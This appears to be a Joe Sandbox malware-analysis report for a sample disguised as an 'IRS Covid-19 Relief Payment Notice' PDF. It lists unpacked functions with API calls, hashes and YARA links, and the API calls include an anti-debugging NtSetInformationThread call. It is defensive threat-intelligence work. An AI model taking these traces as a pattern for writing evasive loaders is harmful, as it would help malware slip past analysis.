Opcode Fuzzy Hash: 7be832d395c8b84b156dd08d691a3f1964d136fd94ea66e86922ad30fc2bf224
Instruction Fuzzy Hash: 00715C30B443059AFB242A258DE53FF365B9F927D4F59462FCD8A97280DB6AC4C6C903

Uniqueness

Uniqueness Score: -1.00%

Function 02410D8E, Relevance: 1.7, APIs: 1, Instructions: 248COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.679659360.0000000002410000.00000040.00000001.sdmp, Offset: 02410000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2410000_IRS_Covid-19_Relief_Payment_Notice_pdf.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 8e939a76c0b97db474307df8d1fab32f7167cc801ae0415337155da9b6a15972
Instruction ID: 8016422bd01d17f9aefcee18953d0c1896fb6a3b75a60727d30978a1e966da98
Opcode Fuzzy Hash: 8e939a76c0b97db474307df8d1fab32f7167cc801ae0415337155da9b6a15972
Instruction Fuzzy Hash: C5616B30B443065AFB242A258DE57FF365B9F92794F69462FCD8E97280DB69C0C6C903

Uniqueness

Uniqueness Score: -1.00%

Function 02410DB4, Relevance: 1.7, APIs: 1, Instructions: 245COMMON

Download Yara Rule

APIs

Part of subcall function 02416A49: LoadLibraryA.KERNELBASE(?,000087F5,?,?), ref: 02416C23

TerminateProcess.KERNELBASE(000000FF,00000000,00000000,000000FF,00000007,?,00000004,00000000,?,00000000,?,00003000,00000004,00000000,00000000,00000000), ref: 024141CC

Memory Dump Source

Source File: 00000000.00000002.679659360.0000000002410000.00000040.00000001.sdmp, Offset: 02410000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2410000_IRS_Covid-19_Relief_Payment_Notice_pdf.jbxd

Similarity

API ID: LibraryLoadProcessTerminate
String ID:
API String ID: 3349790660-0
Opcode ID: 9a88eb0443e29fbce64739621d0281a51bd40a5da9f2e199acab07c71b6ade2d
Instruction ID: e364a7c4a75e515d724f6fbb0dfd713b74e3b4de0b974640e55e46b58f521498
Opcode Fuzzy Hash: 9a88eb0443e29fbce64739621d0281a51bd40a5da9f2e199acab07c71b6ade2d
Instruction Fuzzy Hash: 0F618C30B443059AFB242A258DE43EF375B9F92394F58452FCD8E972C0DB69C0C6CA02

Uniqueness

Uniqueness Score: -1.00%

Function 02410DE5, Relevance: 1.7, APIs: 1, Instructions: 239COMMON

Download Yara Rule

APIs

Part of subcall function 02416A49: LoadLibraryA.KERNELBASE(?,000087F5,?,?), ref: 02416C23

TerminateProcess.KERNELBASE(000000FF,00000000,00000000,000000FF,00000007,?,00000004,00000000,?,00000000,?,00003000,00000004,00000000,00000000,00000000), ref: 024141CC

Memory Dump Source

Source File: 00000000.00000002.679659360.0000000002410000.00000040.00000001.sdmp, Offset: 02410000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2410000_IRS_Covid-19_Relief_Payment_Notice_pdf.jbxd

Similarity

API ID: LibraryLoadProcessTerminate
String ID:
API String ID: 3349790660-0
Opcode ID: 802ce1ba0dd91bce01d7b403d7c8691381f1c1baaeaa8844afa3f5410f57afd0
Instruction ID: 28ee3abe98cb8d59a3864c6a3141a51ad17c81c07d3ca7523167fa537fa520e0
Opcode Fuzzy Hash: 802ce1ba0dd91bce01d7b403d7c8691381f1c1baaeaa8844afa3f5410f57afd0
Instruction Fuzzy Hash: 5B617C30B443055AFB242A658DE57EF375B9F92394F59452FCD8E972C0DB69C0C6CA02

Uniqueness

Uniqueness Score: -1.00%

Function 02410E64, Relevance: 1.7, APIs: 1, Instructions: 223COMMON

Download Yara Rule

APIs

Part of subcall function 02416A49: LoadLibraryA.KERNELBASE(?,000087F5,?,?), ref: 02416C23

TerminateProcess.KERNELBASE(000000FF,00000000,00000000,000000FF,00000007,?,00000004,00000000,?,00000000,?,00003000,00000004,00000000,00000000,00000000), ref: 024141CC

Memory Dump Source

Source File: 00000000.00000002.679659360.0000000002410000.00000040.00000001.sdmp, Offset: 02410000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2410000_IRS_Covid-19_Relief_Payment_Notice_pdf.jbxd

Similarity

API ID: LibraryLoadProcessTerminate
String ID:
API String ID: 3349790660-0
Opcode ID: 18724aa23fd19b4ff4da47afb9f81b6c0392f14cd92b756d1f3d8d2ce61991a9
Instruction ID: 6bccfdf57f245d7000a1bbccbc542d1fecc8557e03143b8c15e85a798cb81c0c
Opcode Fuzzy Hash: 18724aa23fd19b4ff4da47afb9f81b6c0392f14cd92b756d1f3d8d2ce61991a9
Instruction Fuzzy Hash: EE518B30B443055AFB241A258DA57EF375B8F92794F64462BCD8E972C0D7A9C0C6CA02

Uniqueness

Uniqueness Score: -1.00%

Function 02410EA4, Relevance: 1.7, APIs: 1, Instructions: 210COMMON

Download Yara Rule

APIs

TerminateProcess.KERNELBASE(000000FF,00000000,00000000,000000FF,00000007,?,00000004,00000000,?,00000000,?,00003000,00000004,00000000,00000000,00000000), ref: 024141CC

Part of subcall function 02416A49: LoadLibraryA.KERNELBASE(?,000087F5,?,?), ref: 02416C23

Memory Dump Source

Source File: 00000000.00000002.679659360.0000000002410000.00000040.00000001.sdmp, Offset: 02410000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2410000_IRS_Covid-19_Relief_Payment_Notice_pdf.jbxd

Similarity

API ID: LibraryLoadProcessTerminate
String ID:
API String ID: 3349790660-0
Opcode ID: c4c9703f545db07b0e519d846f6fb8efb8da0f0ee7d6ad2eceb2946ac44b21bc
Instruction ID: 60afa198eb7f3dffa8aee2b739d3300e44e02e6e17f9f31777b2ceb0f19ae7f3
Opcode Fuzzy Hash: c4c9703f545db07b0e519d846f6fb8efb8da0f0ee7d6ad2eceb2946ac44b21bc
Instruction Fuzzy Hash: 5A516B30B043055AFB241A258DE57EF379B9F92794F69462BCD4E97280D7A984C5CA02

Uniqueness

Uniqueness Score: -1.00%

Function 02410EFD, Relevance: 1.7, APIs: 1, Instructions: 196COMMON

Download Yara Rule

APIs

TerminateProcess.KERNELBASE(000000FF,00000000,00000000,000000FF,00000007,?,00000004,00000000,?,00000000,?,00003000,00000004,00000000,00000000,00000000), ref: 024141CC

Memory Dump Source

Source File: 00000000.00000002.679659360.0000000002410000.00000040.00000001.sdmp, Offset: 02410000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2410000_IRS_Covid-19_Relief_Payment_Notice_pdf.jbxd

Similarity

API ID: ProcessTerminate
String ID:
API String ID: 560597551-0
Opcode ID: b58099022b42cc69311bffa53d659b02a4adce00ca317c6c26dc500570ad6236
Instruction ID: 2cdc3a65f3c5b481942da72d5f275ee0d5ad5f6a0c3f3d1322362c35b6648f9f
Opcode Fuzzy Hash: b58099022b42cc69311bffa53d659b02a4adce00ca317c6c26dc500570ad6236
Instruction Fuzzy Hash: FF515930A043459AFB2516258DE57EF779B9F83394F68462FCD8E972C0C76984CACA02

Uniqueness

Uniqueness Score: -1.00%

Function 02410F30, Relevance: 1.7, APIs: 1, Instructions: 191COMMON

Download Yara Rule

APIs

TerminateProcess.KERNELBASE(000000FF,00000000,00000000,000000FF,00000007,?,00000004,00000000,?,00000000,?,00003000,00000004,00000000,00000000,00000000), ref: 024141CC

Memory Dump Source

Source File: 00000000.00000002.679659360.0000000002410000.00000040.00000001.sdmp, Offset: 02410000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2410000_IRS_Covid-19_Relief_Payment_Notice_pdf.jbxd

Similarity

API ID: ProcessTerminate
String ID:
API String ID: 560597551-0
Opcode ID: 46da3ec3f3a6a2e9f673fb25ef802a2e680bc9f6744583b9594cb1459a267bba
Instruction ID: de6b0771d5beabb79353fef657d8783443d9942ca9346d9930e3cb5ce3190103
Opcode Fuzzy Hash: 46da3ec3f3a6a2e9f673fb25ef802a2e680bc9f6744583b9594cb1459a267bba
Instruction Fuzzy Hash: CB517B30B043055AFB241A258DE57FF379B8F83794F64462BCD4E972C0D7A984C9C902

Uniqueness

Uniqueness Score: -1.00%

Function 02410FB9, Relevance: 1.7, APIs: 1, Instructions: 166COMMON

Download Yara Rule

APIs

TerminateProcess.KERNELBASE(000000FF,00000000,00000000,000000FF,00000007,?,00000004,00000000,?,00000000,?,00003000,00000004,00000000,00000000,00000000), ref: 024141CC

Memory Dump Source

Source File: 00000000.00000002.679659360.0000000002410000.00000040.00000001.sdmp, Offset: 02410000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2410000_IRS_Covid-19_Relief_Payment_Notice_pdf.jbxd

Similarity

API ID: ProcessTerminate
String ID:
API String ID: 560597551-0
Opcode ID: 9cfb2f57f4646fc1b9c6a5184841ee9ebef3f66ab4cec363944678d9229428ba
Instruction ID: dad0fe91cd1f82c13e925f03f6a99ec36f643f61fc18a2996d290463d82eaae0
Opcode Fuzzy Hash: 9cfb2f57f4646fc1b9c6a5184841ee9ebef3f66ab4cec363944678d9229428ba
Instruction Fuzzy Hash: EA414730A043495AFB28162589E43FF7B9B8F93394FA9461BCD4E972C0CB69C4C5CE42

Uniqueness

Uniqueness Score: -1.00%

Function 02410FF8, Relevance: 1.7, APIs: 1, Instructions: 154COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.679659360.0000000002410000.00000040.00000001.sdmp, Offset: 02410000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2410000_IRS_Covid-19_Relief_Payment_Notice_pdf.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 64852795aa2ca7a6f3f78a0a0dd00e05e64025c9bd9a605c95b696191bf3a88b
Instruction ID: 5087d72cf67e3a466b8502d1df1585ac2036781dacc5396804394029ccaf2792
Opcode Fuzzy Hash: 64852795aa2ca7a6f3f78a0a0dd00e05e64025c9bd9a605c95b696191bf3a88b
Instruction Fuzzy Hash: E4414930A443485AFB24177589D43FF7BA79F83394F69461BCD4E96680CBA980C6CA43

Uniqueness

Uniqueness Score: -1.00%

Function 02411045, Relevance: 1.6, APIs: 1, Instructions: 142COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.679659360.0000000002410000.00000040.00000001.sdmp, Offset: 02410000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2410000_IRS_Covid-19_Relief_Payment_Notice_pdf.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 6934f42fc88299c229674f257a5ee2b992dbebda266cc446a9bba23bc278ad53
Instruction ID: fac4afdaefc4f6fcfa82e73091eb7ad24c8e1b0423e96d74af5fd05087a46344
Opcode Fuzzy Hash: 6934f42fc88299c229674f257a5ee2b992dbebda266cc446a9bba23bc278ad53
Instruction Fuzzy Hash: C7416730A043485AFB34162589D43FF7B978F83394F68861BCD5E9A2D0CB9980C6CE43

Uniqueness

Uniqueness Score: -1.00%

Function 02411082, Relevance: 1.6, APIs: 1, Instructions: 133COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.679659360.0000000002410000.00000040.00000001.sdmp, Offset: 02410000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2410000_IRS_Covid-19_Relief_Payment_Notice_pdf.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 54fb6b5d4c3f229227bfa5e400d06120a4ddaea78e6411539963c80492e39df6
Instruction ID: 9aef27855718a9a97fcd25d10e0082b345291e24399edc4c1152cf3ec75e949f
Opcode Fuzzy Hash: 54fb6b5d4c3f229227bfa5e400d06120a4ddaea78e6411539963c80492e39df6
Instruction Fuzzy Hash: DF415A306043488AFB241B3589D43FF7B979F93354F684A1BCD4E9A2D0CBAA8085CE47

Uniqueness

Uniqueness Score: -1.00%

Function 024110EC, Relevance: 1.6, APIs: 1, Instructions: 117COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.679659360.0000000002410000.00000040.00000001.sdmp, Offset: 02410000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2410000_IRS_Covid-19_Relief_Payment_Notice_pdf.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 081b1bebc8b158a72d6beb54e13c8beab262c184af0569be915c7f72ad366f2a
Instruction ID: 7e8d3c35fbf641fdaf52a4cac3deeed0154561540233093ee814312d8cf41ff6
Opcode Fuzzy Hash: 081b1bebc8b158a72d6beb54e13c8beab262c184af0569be915c7f72ad366f2a
Instruction Fuzzy Hash: 0F318C306043499AFB245B3189D47FF37979F93390F64861BCD5E9A2C0DBAA9186CA42

Uniqueness

Uniqueness Score: -1.00%

Function 0241113C, Relevance: 1.6, APIs: 1, Instructions: 105COMMON

Download Yara Rule

APIs

Part of subcall function 02416A49: LoadLibraryA.KERNELBASE(?,000087F5,?,?), ref: 02416C23

TerminateProcess.KERNELBASE(000000FF,00000000,00000000,000000FF,00000007,?,00000004,00000000,?,00000000,?,00003000,00000004,00000000,00000000,00000000), ref: 024141CC

Memory Dump Source

Source File: 00000000.00000002.679659360.0000000002410000.00000040.00000001.sdmp, Offset: 02410000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2410000_IRS_Covid-19_Relief_Payment_Notice_pdf.jbxd

Similarity

API ID: LibraryLoadProcessTerminate
String ID:
API String ID: 3349790660-0
Opcode ID: 6a437cc3ff702a60b95d098e41449ecbf4cbaf427e0c5e499c5f161f349b9888
Instruction ID: 5c42e68c8a6cba11cf3c921f0d8d15712974257cfbe6f4e606e2e97e5ffb3954
Opcode Fuzzy Hash: 6a437cc3ff702a60b95d098e41449ecbf4cbaf427e0c5e499c5f161f349b9888
Instruction Fuzzy Hash: 483169307043089AFB245B728DD47EF37979F92390F64861BCD5E5A2C4DBEA9186CA81

Uniqueness

Uniqueness Score: -1.00%

Function 02416984, Relevance: 1.6, APIs: 1, Instructions: 104libraryCOMMON

Download Yara Rule

APIs

LoadLibraryA.KERNELBASE(?,000087F5,?,?), ref: 02416C23

Memory Dump Source

Source File: 00000000.00000002.679659360.0000000002410000.00000040.00000001.sdmp, Offset: 02410000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2410000_IRS_Covid-19_Relief_Payment_Notice_pdf.jbxd

Similarity

API ID: LibraryLoad
String ID:
API String ID: 1029625771-0
Opcode ID: 5e7df82e271f4aa752ae841b2f414784da683d7cffbef05ca9cb9fea7378201f
Instruction ID: 3d86fd357965348a85a0fc09dd4ea1061c4cbd5dc724127b9c636c4a2894768b
Opcode Fuzzy Hash: 5e7df82e271f4aa752ae841b2f414784da683d7cffbef05ca9cb9fea7378201f
Instruction Fuzzy Hash: E7314C201856008ED70C6A1651303FF776BDBE8B93BD5846BD8874B248FBD3A495C7C5

Uniqueness

Uniqueness Score: -1.00%

Function 0241822B, Relevance: 1.6, APIs: 1, Instructions: 91libraryCOMMON

Download Yara Rule

APIs

LoadLibraryA.KERNELBASE(?,000087F5,?,?), ref: 02416C23

Memory Dump Source

Source File: 00000000.00000002.679659360.0000000002410000.00000040.00000001.sdmp, Offset: 02410000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2410000_IRS_Covid-19_Relief_Payment_Notice_pdf.jbxd

Similarity

API ID: LibraryLoad
String ID:
API String ID: 1029625771-0
Opcode ID: 1168b1af084e666060e9b955c2d504874ff1ea1a6ba224758c3ae4d2bfeab618
Instruction ID: d1560bd8875ef162636dc6506dec7ef375a2aff616f10fd92f5fdb747b0febda
Opcode Fuzzy Hash: 1168b1af084e666060e9b955c2d504874ff1ea1a6ba224758c3ae4d2bfeab618
Instruction Fuzzy Hash: 48217C70644216DFCB1425615D243FA361A8FA73E1F6E8B1B9C67861C8E392C1C7CA83

Uniqueness

Uniqueness Score: -1.00%

Function 024111C9, Relevance: 1.6, APIs: 1, Instructions: 85COMMON

Download Yara Rule

APIs

TerminateProcess.KERNELBASE(000000FF,00000000,00000000,000000FF,00000007,?,00000004,00000000,?,00000000,?,00003000,00000004,00000000,00000000,00000000), ref: 024141CC

Memory Dump Source

Source File: 00000000.00000002.679659360.0000000002410000.00000040.00000001.sdmp, Offset: 02410000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2410000_IRS_Covid-19_Relief_Payment_Notice_pdf.jbxd

Similarity

API ID: ProcessTerminate
String ID:
API String ID: 560597551-0
Opcode ID: f93163ae690b578e732b23d6f402bbbb33a850c4776651a9adbdf7234474f281
Instruction ID: 94c81d0849bb8870b20f59949a294fce8853051ce70c215d35aa25f58c905f26
Opcode Fuzzy Hash: f93163ae690b578e732b23d6f402bbbb33a850c4776651a9adbdf7234474f281
Instruction Fuzzy Hash: 1821CB306083449AFB245B318D403FE3B975F83360FA4821BCE9E5A1C4C7EA508ACB96

Uniqueness

Uniqueness Score: -1.00%

Function 02410000, Relevance: 1.6, APIs: 1, Instructions: 82libraryCOMMON

Download Yara Rule

APIs

LoadLibraryA.KERNELBASE(?,000087F5,?,?), ref: 02416C23

Memory Dump Source

Source File: 00000000.00000002.679659360.0000000002410000.00000040.00000001.sdmp, Offset: 02410000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2410000_IRS_Covid-19_Relief_Payment_Notice_pdf.jbxd

Similarity

API ID: LibraryLoad
String ID:
API String ID: 1029625771-0
Opcode ID: ccf04cc4411636203bf9fddc1ded559ae05ad427a36cc148741a07955f0c4fcd
Instruction ID: 769a5fe1634c701860918cad5c1f331947a02e19d45c272628ee4e4a5dd95835
Opcode Fuzzy Hash: ccf04cc4411636203bf9fddc1ded559ae05ad427a36cc148741a07955f0c4fcd
Instruction Fuzzy Hash: 06117A7414C315DA8F2431611A207FF366E8F433A0F67A11B9C9756005EB5AC1CBC843

Uniqueness

Uniqueness Score: -1.00%

Function 02410863, Relevance: 1.6, APIs: 1, Instructions: 67COMMON

Download Yara Rule

APIs

EnumWindows.USER32(02410932,00000000,?,?), ref: 02410914

Memory Dump Source

Source File: 00000000.00000002.679659360.0000000002410000.00000040.00000001.sdmp, Offset: 02410000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2410000_IRS_Covid-19_Relief_Payment_Notice_pdf.jbxd

Similarity

API ID: EnumWindows
String ID:
API String ID: 1129996299-0
Opcode ID: 304c925e925aa6d13edc82c0d1b36db3289e73796db9656decb762b8b41949c0
Instruction ID: ddde00849af1f5387a767c2751ab15fef93252de70ebfa0eda8bfc812e55209f
Opcode Fuzzy Hash: 304c925e925aa6d13edc82c0d1b36db3289e73796db9656decb762b8b41949c0
Instruction Fuzzy Hash: A1116B352487008ED7046B39C9513EF3367DBD6331B506A5BD86A8A2DACBA244C787C0

Uniqueness

Uniqueness Score: -1.00%

Function 02416AB1, Relevance: 1.6, APIs: 1, Instructions: 62libraryCOMMON

Download Yara Rule

APIs

LoadLibraryA.KERNELBASE(?,000087F5,?,?), ref: 02416C23

Memory Dump Source

Source File: 00000000.00000002.679659360.0000000002410000.00000040.00000001.sdmp, Offset: 02410000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2410000_IRS_Covid-19_Relief_Payment_Notice_pdf.jbxd

Similarity

API ID: LibraryLoad
String ID:
API String ID: 1029625771-0
Opcode ID: baaa5192cc9f0bf829a77b756ef301b389a83f58462e8085b3944cacb4971ba0
Instruction ID: bd01e60a944027029427ff93c1f32c44c920fa437fb44a6bfd85f16e9dd8f857
Opcode Fuzzy Hash: baaa5192cc9f0bf829a77b756ef301b389a83f58462e8085b3944cacb4971ba0
Instruction Fuzzy Hash: 8A1191206892508EC71C6B2244617EFBB2BDFE5753B99459FD8D74B288E7E38045C7C1

Uniqueness

Uniqueness Score: -1.00%

Function 02411251, Relevance: 1.6, APIs: 1, Instructions: 59COMMON

Download Yara Rule

APIs

TerminateProcess.KERNELBASE(000000FF,00000000,00000000,000000FF,00000007,?,00000004,00000000,?,00000000,?,00003000,00000004,00000000,00000000,00000000), ref: 024141CC

Memory Dump Source

Source File: 00000000.00000002.679659360.0000000002410000.00000040.00000001.sdmp, Offset: 02410000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2410000_IRS_Covid-19_Relief_Payment_Notice_pdf.jbxd

Similarity

API ID: ProcessTerminate
String ID:
API String ID: 560597551-0
Opcode ID: a2917ad82c6ebaa89b0fedcf49015108dd7f693ee0133cc98066aaa5f319e2fa
Instruction ID: f10ccb55a33dce00d720dd18512b8b0a127167da0ee75c89d312d966f9b81491
Opcode Fuzzy Hash: a2917ad82c6ebaa89b0fedcf49015108dd7f693ee0133cc98066aaa5f319e2fa
Instruction Fuzzy Hash: E51159301082888EEB258B7588543AE7FA75F83314F94828FCD5E5A1D9C7E65085CB96

Uniqueness

Uniqueness Score: -1.00%

Function 02416A55, Relevance: 1.6, APIs: 1, Instructions: 58libraryCOMMON

Download Yara Rule

APIs

LoadLibraryA.KERNELBASE(?,000087F5,?,?), ref: 02416C23

Memory Dump Source

Source File: 00000000.00000002.679659360.0000000002410000.00000040.00000001.sdmp, Offset: 02410000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2410000_IRS_Covid-19_Relief_Payment_Notice_pdf.jbxd

Similarity

API ID: LibraryLoad
String ID:
API String ID: 1029625771-0
Opcode ID: 15feaf28f1dd3ee8c488ed3374ceadcdef26163ba62e185b3bafd428de6fed36
Instruction ID: 62ff1d1ea26304f8fd79c653c02d89e4ed268412f7514d91d0cf97f7a5f3ebe6
Opcode Fuzzy Hash: 15feaf28f1dd3ee8c488ed3374ceadcdef26163ba62e185b3bafd428de6fed36
Instruction Fuzzy Hash: A41161741856148ECA182B2155207FF772FCBE5752F86445FDC9B0B148E7E6C086CBC2

Uniqueness

Uniqueness Score: -1.00%

Function 02417A79, Relevance: 1.6, APIs: 1, Instructions: 57libraryCOMMON

Download Yara Rule

APIs

LoadLibraryA.KERNELBASE(?,000087F5,?,?), ref: 02416C23

Memory Dump Source

Source File: 00000000.00000002.679659360.0000000002410000.00000040.00000001.sdmp, Offset: 02410000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2410000_IRS_Covid-19_Relief_Payment_Notice_pdf.jbxd

Similarity

API ID: LibraryLoad
String ID:
API String ID: 1029625771-0
Opcode ID: 08de560c3fb363c935a87989b8661c58504362248695204f0a329fef839ab93a
Instruction ID: ad18a177bc6213ca59f38284958f9656660d8924e5c82f2c748371a18240b51c
Opcode Fuzzy Hash: 08de560c3fb363c935a87989b8661c58504362248695204f0a329fef839ab93a
Instruction Fuzzy Hash: CC012174089225AE8D2036622A38BFB361ECF423E1F57841BACAB52084E710C1CBC993

Uniqueness

Uniqueness Score: -1.00%

Function 02411298, Relevance: 1.6, APIs: 1, Instructions: 54COMMON

Download Yara Rule

APIs

TerminateProcess.KERNELBASE(000000FF,00000000,00000000,000000FF,00000007,?,00000004,00000000,?,00000000,?,00003000,00000004,00000000,00000000,00000000), ref: 024141CC

Memory Dump Source

Source File: 00000000.00000002.679659360.0000000002410000.00000040.00000001.sdmp, Offset: 02410000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2410000_IRS_Covid-19_Relief_Payment_Notice_pdf.jbxd

Similarity

API ID: ProcessTerminate
String ID:
API String ID: 560597551-0
Opcode ID: bc18139b9e013104deca7b1ed75d16eda49d0e90ff797c4114571f4589be9eec
Instruction ID: d25bc662ee0d626ce474ebc5ed0ce453f83f22cb36ec05442fb590494e00977a
Opcode Fuzzy Hash: bc18139b9e013104deca7b1ed75d16eda49d0e90ff797c4114571f4589be9eec
Instruction Fuzzy Hash: 610185301082848EE7064B3548103BF3FA7AF83711F94829FC98E4B1C5D7EA6045C7E1

Uniqueness

Uniqueness Score: -1.00%

Function 02416A49, Relevance: 1.5, APIs: 1, Instructions: 47libraryCOMMON

Download Yara Rule

APIs

LoadLibraryA.KERNELBASE(?,000087F5,?,?), ref: 02416C23

Memory Dump Source

Source File: 00000000.00000002.679659360.0000000002410000.00000040.00000001.sdmp, Offset: 02410000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2410000_IRS_Covid-19_Relief_Payment_Notice_pdf.jbxd

Similarity

API ID: LibraryLoad
String ID:
API String ID: 1029625771-0
Opcode ID: ae84af01462b52e46c192cc03f19872a371a60522d5bc8301ac395a5728f7b03
Instruction ID: 3434e67e5d4345532f977ea000e879490289a76d190a6ae0425f267659563670
Opcode Fuzzy Hash: ae84af01462b52e46c192cc03f19872a371a60522d5bc8301ac395a5728f7b03
Instruction Fuzzy Hash: BBF0C274189224AACD2036115A24BFB325ECF527A1F57801BAC9742044E714C1CFC983

Uniqueness

Uniqueness Score: -1.00%

Function 024108CE, Relevance: 1.5, APIs: 1, Instructions: 31nativethreadCOMMON

Download Yara Rule

APIs

EnumWindows.USER32(02410932,00000000,?,?), ref: 02410914
NtSetInformationThread.NTDLL(000000FE,00000011,00000000,00000000,00000000,00000000,00000000,00000000,?,00000000,00000000,?), ref: 02410ABF

Memory Dump Source

Source File: 00000000.00000002.679659360.0000000002410000.00000040.00000001.sdmp, Offset: 02410000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2410000_IRS_Covid-19_Relief_Payment_Notice_pdf.jbxd

Similarity

API ID: EnumInformationThreadWindows
String ID:
API String ID: 1954852945-0
Opcode ID: 92b1e38844dc4defa1777a4fe5d551e34aa22ae7be1745702397b78047933ddd
Instruction ID: a44d152ef7fc16fbd829f3b2fc048da11263df2ca4fdbd2295dc7b5617e9e349
Opcode Fuzzy Hash: 92b1e38844dc4defa1777a4fe5d551e34aa22ae7be1745702397b78047933ddd
Instruction Fuzzy Hash: 85F0E5302406009FD708AF3488607EF33A3EBEA722F90450AD86A8B2D4DBE34484C7C0

Uniqueness

Uniqueness Score: -1.00%

Function 02416B69, Relevance: 1.5, APIs: 1, Instructions: 30libraryCOMMON

Download Yara Rule

APIs

LoadLibraryA.KERNELBASE(?,000087F5,?,?), ref: 02416C23

Memory Dump Source

Source File: 00000000.00000002.679659360.0000000002410000.00000040.00000001.sdmp, Offset: 02410000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2410000_IRS_Covid-19_Relief_Payment_Notice_pdf.jbxd

Similarity

API ID: LibraryLoad
String ID:
API String ID: 1029625771-0
Opcode ID: 76fce094af2f26858cfb04f7183be4f673d9103085cc3a0387b7a0e8a68319b7
Instruction ID: defee69055d16abfaeb6226789dee1c83d66d190013f95ae79ea42e3145f8b87
Opcode Fuzzy Hash: 76fce094af2f26858cfb04f7183be4f673d9103085cc3a0387b7a0e8a68319b7
Instruction Fuzzy Hash: 45F0EC302492814FCB092B6244201FF7B2BDED5702796845FDC9B1F149EBE2C086CBC5

Uniqueness

Uniqueness Score: -1.00%

Function 02416B56, Relevance: 1.5, APIs: 1, Instructions: 29libraryCOMMON

Download Yara Rule

APIs

LoadLibraryA.KERNELBASE(?,000087F5,?,?), ref: 02416C23

Memory Dump Source

Source File: 00000000.00000002.679659360.0000000002410000.00000040.00000001.sdmp, Offset: 02410000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2410000_IRS_Covid-19_Relief_Payment_Notice_pdf.jbxd

Similarity

API ID: LibraryLoad
String ID:
API String ID: 1029625771-0
Opcode ID: fb812e87fe42adab44c0b46ae43ab3dfc02e2e9de44ed2d5ad0787ca257170a4
Instruction ID: c8f1ef998a83e1730f189cfc425439cbf49b1608ae01bacda2ffd2346d2ec4bd
Opcode Fuzzy Hash: fb812e87fe42adab44c0b46ae43ab3dfc02e2e9de44ed2d5ad0787ca257170a4
Instruction Fuzzy Hash: F5E0DFB4289225ABCA103A225A21BFF321ECF41761F4B412FAC9A56004EB24C1CECA43

Uniqueness

Uniqueness Score: -1.00%

Function 02411338, Relevance: 1.5, APIs: 1, Instructions: 27COMMON

Download Yara Rule

APIs

TerminateProcess.KERNELBASE(000000FF,00000000,00000000,000000FF,00000007,?,00000004,00000000,?,00000000,?,00003000,00000004,00000000,00000000,00000000), ref: 024141CC

Memory Dump Source

Source File: 00000000.00000002.679659360.0000000002410000.00000040.00000001.sdmp, Offset: 02410000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2410000_IRS_Covid-19_Relief_Payment_Notice_pdf.jbxd

Similarity

API ID: ProcessTerminate
String ID:
API String ID: 560597551-0
Opcode ID: f0b16acccd5144d2112797c1835ec40802a6b064cddcc52d8699db3aa4bdd8a2
Instruction ID: 5bf2b0676baac7dba48d36e5aed02201ad0f1031c65a07a6cc4e14fb91f564c3
Opcode Fuzzy Hash: f0b16acccd5144d2112797c1835ec40802a6b064cddcc52d8699db3aa4bdd8a2
Instruction Fuzzy Hash: 65E086205445048DE7088FA549253EF775797EA762FE08B2ACD6B5A1C8EAD31181C3C4

Uniqueness

Uniqueness Score: -1.00%

Function 024108F7, Relevance: 1.5, APIs: 1, Instructions: 27nativethreadCOMMON

Download Yara Rule

APIs

EnumWindows.USER32(02410932,00000000,?,?), ref: 02410914
NtSetInformationThread.NTDLL(000000FE,00000011,00000000,00000000,00000000,00000000,00000000,00000000,?,00000000,00000000,?), ref: 02410ABF

Memory Dump Source

Source File: 00000000.00000002.679659360.0000000002410000.00000040.00000001.sdmp, Offset: 02410000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2410000_IRS_Covid-19_Relief_Payment_Notice_pdf.jbxd

Similarity

API ID: EnumInformationThreadWindows
String ID:
API String ID: 1954852945-0
